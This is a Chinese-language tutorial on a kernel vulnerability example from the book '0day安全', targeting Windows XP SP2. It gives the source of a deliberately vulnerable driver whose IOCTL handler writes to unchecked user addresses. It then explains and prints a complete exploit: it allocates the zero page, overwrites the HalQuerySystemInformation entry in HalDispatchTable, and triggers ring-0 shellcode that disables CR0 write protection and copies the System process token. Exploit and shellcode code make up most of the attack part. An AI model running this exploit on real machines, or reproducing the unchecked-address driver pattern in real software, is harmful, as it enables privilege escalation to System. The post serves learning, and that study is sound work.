前言

本文是对0day安全这本书中,关于内核漏洞的入门的例子的学习分享。由于作者这一部分有一些细节没有说清楚,所以看的时候挺懵的。查了一些资料以后算是比较完整的理解了下来,分享出来给新手看看。

实验环境是Win XP sp2。

漏洞程序

下面这段是对作者所说的具有的漏洞的驱动代码,不过我对它进行了一些修改,可以更容易看懂。

#include  #define DEVICE_NAME L"\\Device\\ExploitMe"#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0) VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp); NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){    NTSTATUS status = STATUS_SUCCESS;    PDEVICE_OBJECT pDeviceObj = NULL;    UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);    UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);    ULONG i = 0;     // 创建设备    status = IoCreateDevice(driverObject,                             NULL,                             &uDeviceName,                             FILE_DEVICE_UNKNOWN,                             FILE_DEVICE_SECURE_OPEN,                             FALSE,                             &pDeviceObj);    if (!NT_SUCCESS(status))    {        DbgPrint("IoCreateDevice Error 0x%X\r", status);        goto exit;    }     // 设置数据交互方式    // pDeviceObj->Flags |= DO_BUFFERED_IO;   // 缓冲区方式读写    // pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写     // 创建符号链接    status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);    if (!NT_SUCCESS(status))    {        DbgPrint("IoCreateSymbolicLink Error 0x%X\r", status);        goto exit;    }     for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)    {        driverObject->MajorFunction[i] = DispatchCommon;    }    driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;    DbgPrint("驱动加载成功\r"); exit:    driverObject->DriverUnload = DriverUnload;    return STATUS_SUCCESS;} NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){    NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;    PIO_STACK_LOCATION pIoStack = NULL;    ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;    PVOID pInputBuffer = NULL, pOutputBuffer = NULL;                                       // 获取设备栈    pIoStack = IoGetCurrentIrpStackLocation(pIrp);     // 获取输入缓冲区长度与输入缓冲区    uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;    pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;     // 获取输出缓冲区长度与输出缓冲区    uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;    pOutputBuffer = pIrp->UserBuffer;      // 获取控制码    uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;     // 根据控制码执行操作    switch(uIoControlCode)    {        case CTL_EXPLOIT_ME:        {            DbgPrint("CTL_EXPLOIT_ME");            if (uInputLength >= 4 && uOutputLength >= 4)            {                // 将输入地址中的内容赋值到输出地址中                *(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;                uInformation = sizeof(ULONG);                status = STATUS_SUCCESS;            }            break;        }        default:        {            break;        }    }     pIrp->IoStatus.Information = uInformation;    pIrp->IoStatus.Status = status;    IoCompleteRequest(pIrp, IO_NO_INCREMENT);     return STATUS_SUCCESS;} NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){    pIrp->IoStatus.Status = STATUS_SUCCESS;    pIrp->IoStatus.Information = 0;     IoCompleteRequest(pIrp, IO_NO_INCREMENT);     return STATUS_SUCCESS;} VOID DriverUnload(IN PDRIVER_OBJECT driverObject){    UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);     if (driverObject->DeviceObject)    {        IoDeleteSymbolicLink(&uSymbolLinkName);        IoDeleteDevice(driverObject->DeviceObject);    }    DbgPrint("驱动卸载完成\r");}

这段驱动代码有以下两个特点:

1、没有指定设备的数据交互方式,此时用户层和这个驱动的交互就会是METHOD_NEITHER。而这种方式会对用户层传入的输入输出的地址不会进行处理,直接进行更改。

2、在对应的控制码的操作中,程序只是判断输入输出的长度是否大于等于4。并没有判断输入输出的地址是否是合法的,地址中的内容是否是可以随意更改的,直接就将输入地址中的内容赋值到了输出地址中。

接下来通过一个正常的示例来看看这段驱动的作用。

#include #include #include  #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4 void ShowError(PCHAR msg); int main(){    HANDLE hDevice = NULL;    DWORD dwInput = 1900;    DWORD dwOutput = 0;    DWORD dwReturnLength = 0;     hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        ShowError("CreateFile");        goto exit;    }     printf("修改前的dwOutput:%d", dwOutput);    if (!DeviceIoControl(hDevice,                          CTL_EXPLOIT_ME,                          &dwInput,                          INPUT_BUFFER_LENGTH,                         &dwOutput,                         OUT_BUFFER_LENGTH,                         &dwReturnLength,                         NULL))    {        ShowError("DeviceIoControl");        goto exit;    }     printf("修改后的dwOutput:%d", dwOutput); exit:    system("pause");    return 0;} void ShowError(PCHAR msg){    printf("%s Error %d", msg, GetLastError());}

在这段代码中,将合法的输入输出地址也就是dwInput和dwOutput传给了驱动。那么在驱动中,就会将dwInput中的内容赋值到dwOutput中。

可以看到,驱动成功的将输出地址中保存的内容赋值到输入地址中。但是由于没有对地址的合法性进行检查,所以如果可以知道保存了系统函数的地址,就可以直接修改这个地址中保存的数据。这样,当程序再次调用这个函数的时候,就会调用我们写入的地址。这个手法和IAT Hook的的原理是一样的,感兴趣的话可以看看这篇Win PE系列之导入表解析与IAT Hook技术。

作者给出的例子是,修改HAL_DISPATCH结构体中的HalQuerySuystemInformation的入口地址,将它改为0地址。这样程序在调用这个函数的时候,就会调用0地址中保存的指令。而我们可以在0地址申请一段内存,并写入想要执行的指令,这样就达到了执行想要的指令的目的。

那么要完成上面的内容,就要以下三个步骤:

1、在0地址申请内存并写入要执行的指令;

2、找到保存HalQuerySystemInformation函数地址的地址,并通过驱动将函数地址改为0地址;

3、调用HalQuerySystemInformation函数;

接下来将对这三个步骤进行一一讲解。

漏洞利用

1、在0地址申请内存,并写入要执行的指令

在这里,申请内存使用的内核API是ZwAllocateVirtualMemory,该函数的定义如下。

NTSTATUS   NtAllocateVirtualMemory(    __in HANDLE  ProcessHandle,    __inout PVOID  *BaseAddress,    __in ULONG_PTR  ZeroBits,    __inout PSIZE_T  RegionSize,    __in ULONG  AllocationType,    __in ULONG  Protect );

参数

含义

ProcessHandle

要申请内存的进程句柄。使用NtCurrentProcess宏来指定当前进程

BaseAddress

期望内存基址指针。非0时,系统将计算此值得页对齐地址,尝试按照此地址块申请内存。当该值等于0时,系统将寻找第一个未使用得内存块。当函数调用成功时,此参数将接收实际得基址

ZeroBits

基址最高位为0得数量。当该值为0,此值将被忽略。

RegionSize

期望大小。系统计算实际基址与该值得页对齐边界,以实际分配大小。当函数调用成功时,此参数将接收实际分配得大小

AllocationType

指定要分配的页类型

Protect

申请的页属性,这里选择PAGE_EXECUTE_READWRITE,也就是可读可写可执行

由参数的含义可以知道,要申请0地址的内存是不可以通过直接将BaseAddress指定为0的方式来实现。因为你将它指定为0,那么就会有系统来决定分配内存的区域。想要在0地址分配内存,需要用到MEM_TOP_DOWN这个页类型,也就是第五个参数要包含MEM_TOP_DOWN这个页类型。

该类型的含义是将从尽可能高得地址分配内存。当第二个参数指定为一个比较小得数,比如1或者4这种,而第五个参数又带有MEM_TOP_DOWN标志。那么根据页对齐,此时会向上对齐,返回得BaseAddress就会是0且RegionSize将会是两个页的大小。

2、找到函数HalQuerySystemInformation函数地址的保存地址

要找到这个函数的保存地址,需要找到HalDispatchTable。该值是一个HAL_DISPATCH结构体遍历,首先看看HAL_DISPATCH结构体的定义。

typedef struct {    ULONG                           Version;    pHalQuerySystemInformation      HalQuerySystemInformation;    pHalSetSystemInformation        HalSetSystemInformation;    pHalQueryBusSlots               HalQueryBusSlots;    ULONG                           Spare1;    pHalExamineMBR                  HalExamineMBR;    pHalIoReadPartitionTable        HalIoReadPartitionTable;    pHalIoSetPartitionInformation   HalIoSetPartitionInformation;    pHalIoWritePartitionTable       HalIoWritePartitionTable;     pHalHandlerForBus               HalReferenceHandlerForBus;    pHalReferenceBusHandler         HalReferenceBusHandler;    pHalReferenceBusHandler         HalDereferenceBusHandler;     pHalInitPnpDriver               HalInitPnpDriver;    pHalInitPowerManagement         HalInitPowerManagement;     pHalGetDmaAdapter               HalGetDmaAdapter;    pHalGetInterruptTranslator      HalGetInterruptTranslator;     pHalStartMirroring              HalStartMirroring;    pHalEndMirroring                HalEndMirroring;    pHalMirrorPhysicalMemory        HalMirrorPhysicalMemory;    pHalEndOfBoot                   HalEndOfBoot;    pHalMirrorVerify                HalMirrorVerify;     pHalGetAcpiTable                HalGetCachedAcpiTable;    pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback; #if defined(_IA64_)    pHalGetErrorCapList             HalGetErrorCapList;    pHalInjectError                 HalInjectError;#endif } HAL_DISPATCH, *PHAL_DISPATCH;

根据改结构体的定义,可以看到HalQuerySystemInformation函数就保存在HAL_DISPATCH结构体偏移为0x04的地址。而HalDispatchTable是从内核模块中导出的,所以要就需要找到内核模块在内存中的基地址,再根据偏移得到HalDispatchTable的VA。而要找到内核模块的基地址就需要用到ZwQuerySystemInformation这个API。该函数的定义如下:

NTSTATUS WINAPI ZwQuerySystemInformation(  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,  __inout    PVOID SystemInformation,  __in       ULONG SystemInformationLength,  __out_opt  PULONG ReturnLength);

参数

含义

SystemInformationClass

要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体

SystemInformation

指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass

SystemInformationLength

SystemInformation参数指向的缓冲区的大小

ReturnLength

指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并以ReturnLength的形式返回接收请求信息所需的缓冲区大小。

而SYSTEM_INFORMATION_CLASS,在文档中的部分内容如下:

typedef enum _SYSTEM_INFORMATION_CLASS {    SystemInformationClassMin = 0,    SystemBasicInformation = 0,    SystemProcessInformation = 5,    SystemProcessesAndThreadsInformation = 5,    SystemModuleInformation = 11,    SystemExceptionInformation = 33,    SystemKernelDebuggerInformation = 35,} SYSTEM_INFORMATION_CLASS;

当该值指定的是SystemModuleInformation(11)的时候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指针。改结构体的定义如下:

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {    ULONG    Unknown1;    ULONG    Unknown2;    PVOID  Base;    ULONG  Size;    ULONG  Flags;    USHORT  Index;  /* Length of module name not including the path, this     field contains valid value only for NTOSKRNL module */    USHORT  NameLength;    USHORT  LoadCount;    USHORT  PathLength;    CHAR  ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION {  ULONG  Count;  SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的数组。数组中的每一个元数都保存了一个模块的信息,其中的Base保存模块的加载地址,ImageName保存了模块的名称。而本次查询一共有多少个SYSTEM_MODULE_INFORMATION的数组则保存在Count中。

由于,一开始并不知道要申请多大的内存才可以保存这些数据。所以,需要调用两次函数,第一次调用的目的就是通过将第三个参数传入0来获得需要使用的内存大小。

查询到的内核模块中的第一个就是要使用的内核模块。这样就可以获得这个内核模块的名称,接下来就需要使用LdrLoadDll来将内核模块导入,该函数的定义如下:

#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall IMP_SYSCALL LdrLoadDll(IN PWSTR DllPath OPTIONAL,        IN PULONG DllCharacteristics OPTIONAL,        IN PUNICODE_STRING DllName,        OUT PVOID *DllHandle);

参数

含义

DllPath

可选,指定要加载的DLL的路径

DllCharacteristics

可选,指向要加载的DLL的属性

DllName

指向要加载的DLL的名称

DllHandle

用来接收得到的DLL的句柄

通过这个函数就可以将模块加载到内存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以计算机HalDispatchTable在内核中的具体位置,接下来就通过IO控制码发送消息给驱动完成修改。

3、调用HalQuerySystemInformation函数

要调用这个函数,只需要调用NtQueryIntervalProfile函数的时候,它的第一个参数传入的不等于ProfileTime和ProfileAlignmentFixup就好。

ShellCode的提权原理

首先要知道0xFFDFF000这个地址保存的是_KPCR,该结构体的定义如下:

kd> dt _KPCRnt!_KPCR   +0x000 NtTib            : _NT_TIB   +0x01c SelfPcr          : Ptr32 _KPCR   +0x020 Prcb             : Ptr32 _KPRCB   +0x024 Irql             : UChar   +0x028 IRR              : Uint4B   +0x02c IrrActive        : Uint4B   +0x030 IDR              : Uint4B   +0x034 KdVersionBlock   : Ptr32 Void   +0x038 IDT              : Ptr32 _KIDTENTRY   +0x03c GDT              : Ptr32 _KGDTENTRY   +0x040 TSS              : Ptr32 _KTSS   +0x044 MajorVersion     : Uint2B   +0x046 MinorVersion     : Uint2B   +0x048 SetMember        : Uint4B   +0x04c StallScaleFactor : Uint4B   +0x050 DebugActive      : UChar   +0x051 Number           : UChar   +0x052 Spare0           : UChar   +0x053 SecondLevelCacheAssociativity : UChar   +0x054 VdmAlert         : Uint4B   +0x058 KernelReserved   : [14] Uint4B   +0x090 SecondLevelCacheSize : Uint4B   +0x094 HalReserved      : [16] Uint4B   +0x0d4 InterruptMode    : Uint4B   +0x0d8 Spare1           : UChar   +0x0dc KernelReserved2  : [17] Uint4B   +0x120 PrcbData         : _KPRCB

该结构体偏移0x120处保存的是_KPCB结构体,该结构体的部分定义如下:

kd> dt _KPRCBntdll!_KPRCB   +0x000 MinorVersion     : Uint2B   +0x002 MajorVersion     : Uint2B   +0x004 CurrentThread    : Ptr32 _KTHREAD   +0x008 NextThread       : Ptr32 _KTHREAD   +0x00c IdleThread       : Ptr32 _KTHREAD   +0x010 Number           : Char

据此可以知道0xFFDFF124保存的是当前线程的_KTHREAD,而_KTHREAD又是_ETHREAD结构体中的第一个成员,所以0xFFDFF124保存的其实是当前_ETHREAD结构体。_ETHREAD结构体中保存的内容如下:

kd> dt _ETHREADntdll!_ETHREAD   +0x000 Tcb              : _KTHREAD   +0x1c0 CreateTime       : _LARGE_INTEGER   +0x1c0 NestedFaultCount : Pos 0, 2 Bits   +0x1c0 ApcNeeded        : Pos 2, 1 Bit   +0x1c8 ExitTime         : _LARGE_INTEGER   +0x1c8 LpcReplyChain    : _LIST_ENTRY   +0x1c8 KeyedWaitChain   : _LIST_ENTRY   +0x1d0 ExitStatus       : Int4B   +0x1d0 OfsChain         : Ptr32 Void   +0x1d4 PostBlockList    : _LIST_ENTRY   +0x1dc TerminationPort  : Ptr32 _TERMINATION_PORT   +0x1dc ReaperLink       : Ptr32 _ETHREAD   +0x1dc KeyedWaitValue   : Ptr32 Void   +0x1e0 ActiveTimerListLock : Uint4B   +0x1e4 ActiveTimerListHead : _LIST_ENTRY   +0x1ec Cid              : _CLIENT_ID   +0x1f4 LpcReplySemaphore : _KSEMAPHORE   +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE   +0x208 LpcReplyMessage  : Ptr32 Void   +0x208 LpcWaitingOnPort : Ptr32 Void   +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION   +0x210 IrpList          : _LIST_ENTRY   +0x218 TopLevelIrp      : Uint4B   +0x21c DeviceToVerify   : Ptr32 _DEVICE_OBJECT   +0x220 ThreadsProcess   : Ptr32 _EPROCESS   +0x224 StartAddress     : Ptr32 Void   +0x228 Win32StartAddress : Ptr32 Void

可以看到_ETHREAD偏移0x200的地址,保存的是线程对应的_EPROCESS结构体,该结构体的部分成员如下:

kd> dt _EPROCESSntdll!_EPROCESS   +0x000 Pcb              : _KPROCESS   +0x06c ProcessLock      : _EX_PUSH_LOCK   +0x070 CreateTime       : _LARGE_INTEGER   +0x078 ExitTime         : _LARGE_INTEGER   +0x080 RundownProtect   : _EX_RUNDOWN_REF   +0x084 UniqueProcessId  : Ptr32 Void   +0x088 ActiveProcessLinks : _LIST_ENTRY   +0x090 QuotaUsage       : [3] Uint4B   +0x09c QuotaPeak        : [3] Uint4B   +0x0a8 CommitCharge     : Uint4B   +0x0ac PeakVirtualSize  : Uint4B   +0x0b0 VirtualSize      : Uint4B   +0x0b4 SessionProcessLinks : _LIST_ENTRY   +0x0bc DebugPort        : Ptr32 Void   +0x0c0 ExceptionPort    : Ptr32 Void   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE   +0x0c8 Token            : _EX_FAST_REF   +0x0cc WorkingSetLock   : _FAST_MUTEX

其中需要注意的三个成员是:

偏移

成员

含义

0x84

UniqueProcessId

进程PID

0x88

ActiveProcessLinks

双向链表可以用来遍历进程

0xC8

Token

保存了进程的令牌

所以作者给的ShellCode的提权办法是通过0x88这个成员来遍历所有的进程,去寻找System。因为System进程的PID都是等于4,如下图所示,所以通过判断0x84保存的进程PID是否是4来判断是否找到了System进程。随后将System进程的Token赋值给本进程这就完成了提权。

如果对这个遍历进程的原理不太清楚的可以看下这一篇文章,下面有关于这种进程遍历原理的描述进程隐藏技术(https://bbs.pediy.com/thread-269919.htm)

完整的完成漏洞利用达到提权的代码如下:

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。// #include #include #include #include "ntapi.h"#pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\ExploitMeLink"#define IOCTRL_BASE 0x800#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)#define INPUT_BUFFER_LENGTH 4#define OUT_BUFFER_LENGTH 4#define PAGE_SIZE 0x1000#define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main(){    NTSTATUS status = STATUS_SUCCESS;    HANDLE hDevice = NULL;    DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;    PVOID ShellCodeAddress = NULL;    PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;    DWORD dwImageBase = 0;    PVOID pMappedBase = NULL;    UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };    UNICODE_STRING uDllName;    PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;    DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;         // 获得0地址的内存    ShellCodeAddress = (PVOID)sizeof(ULONG);    status = NtAllocateVirtualMemory(NtCurrentProcess(),                                      &ShellCodeAddress,                                     0,                                     &ShellCodeSize,                                     MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,                                     PAGE_EXECUTE_READWRITE);    if (!NT_SUCCESS(status))    {        printf("NtAllocateVirtualMemory Error 0x%X", status);        goto exit;    }         // 将ShellCode写到申请的0地址空间中    RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);             // 此时dwReturnLength是0,所以函数会由于长度为0执行失败    // 然后系统会在第四个参数指定的地址保存需要的内存大小    status = ZwQuerySystemInformation(SystemModuleInformation,                                      pModuleInformation,                                      dwReturnLength,                                      &dwReturnLength);     if (status != STATUS_INFO_LENGTH_MISMATCH)    {        ShowError("ZwQuerySystemInformation", status);        goto exit;    }     // 按页大小对齐    dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);    pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,                                                                   dwReturnLength,                                                                   MEM_COMMIT | MEM_RESERVE,                                                                  PAGE_READWRITE);    if (!pModuleInformation)    {        printf("VirtualAlloc Error");        goto exit;    }     status = ZwQuerySystemInformation(SystemModuleInformation,                                      pModuleInformation,                                      dwReturnLength,                                      &dwReturnLength);    if (!NT_SUCCESS(status))    {        ShowError("ZwQuerySystemInformation", status);        goto exit;    }         // 模块加载的基地址    dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);     // 获取模块名    RtlMoveMemory(szImageName,                  (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),                  KERNEL_NAME_LENGTH);    // 转换为UNICODE_STRING类型    RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);     status = (NTSTATUS)LdrLoadDll(NULL,                                  &dwDllCharacteristics,                                  &uDllName,                                  &pMappedBase);     if (!NT_SUCCESS(status))    {        ShowError("LdrLoadDll", status);        goto exit;    }     // 获取内核HalDispatchTable函数表地址    pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");     if (pHalDispatchTable == NULL)    {        printf("GetProcAddress Error");        goto exit;    }     pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);    pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));     // 打开驱动设备    hDevice = CreateFile(LINK_NAME,                         GENERIC_READ | GENERIC_WRITE,                         0,                         NULL,                         OPEN_EXISTING,                         FILE_ATTRIBUTE_NORMAL,                         0);    if (hDevice == INVALID_HANDLE_VALUE)    {        printf("CreateFile Error");        goto exit;    }      DWORD dwInput = 0;    // 与驱动设备进行交互    if (!DeviceIoControl(hDevice,                          CTL_EXPLOIT_ME,                          &dwInput,                          INPUT_BUFFER_LENGTH,                         pXHalQuerySystemInformation,                         OUT_BUFFER_LENGTH,                         &dwReturnLength,                         NULL))    {        printf("DeviceIoControl Error");        goto exit;    }     status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);    if (!NT_SUCCESS(status))    {        ShowError("NtQueryIntervalProfile", status);        goto exit;    }     if (g_bIsExecute) printf("Ring0 代码执行完成"); exit:    if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);    if (hDevice) NtClose(hDevice);    if (pMappedBase) LdrUnloadDll(pMappedBase);    system("pause");    return 0;} NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){    // 关闭页保护    __asm    {        cli        mov eax, cr0        and eax, ~0x10000        mov cr0, eax    }     __asm    {        // 取当前线程        mov eax, 0xFFDFF124        mov eax, [eax]        // 取线程对应的EPROCESS        mov esi, [eax + 0x220]        mov eax, esisearchXp:        mov eax, [eax + 0x88]        sub eax, 0x88        mov edx, [eax + 0x84]        cmp edx, 0x4        jne searchXp        mov eax, [eax + 0xC8]        mov [esi + 0xC8], eax    }     // 开起页保护    __asm    {        mov eax, cr0        or eax, 0x10000        mov cr0, eax        sti    }     g_bIsExecute = TRUE;} void ShowError(PCHAR msg, NTSTATUS status){    printf("%s Error 0x%X", msg, status);}

运行结果

可以看到,最终程序成功获得了System的权限。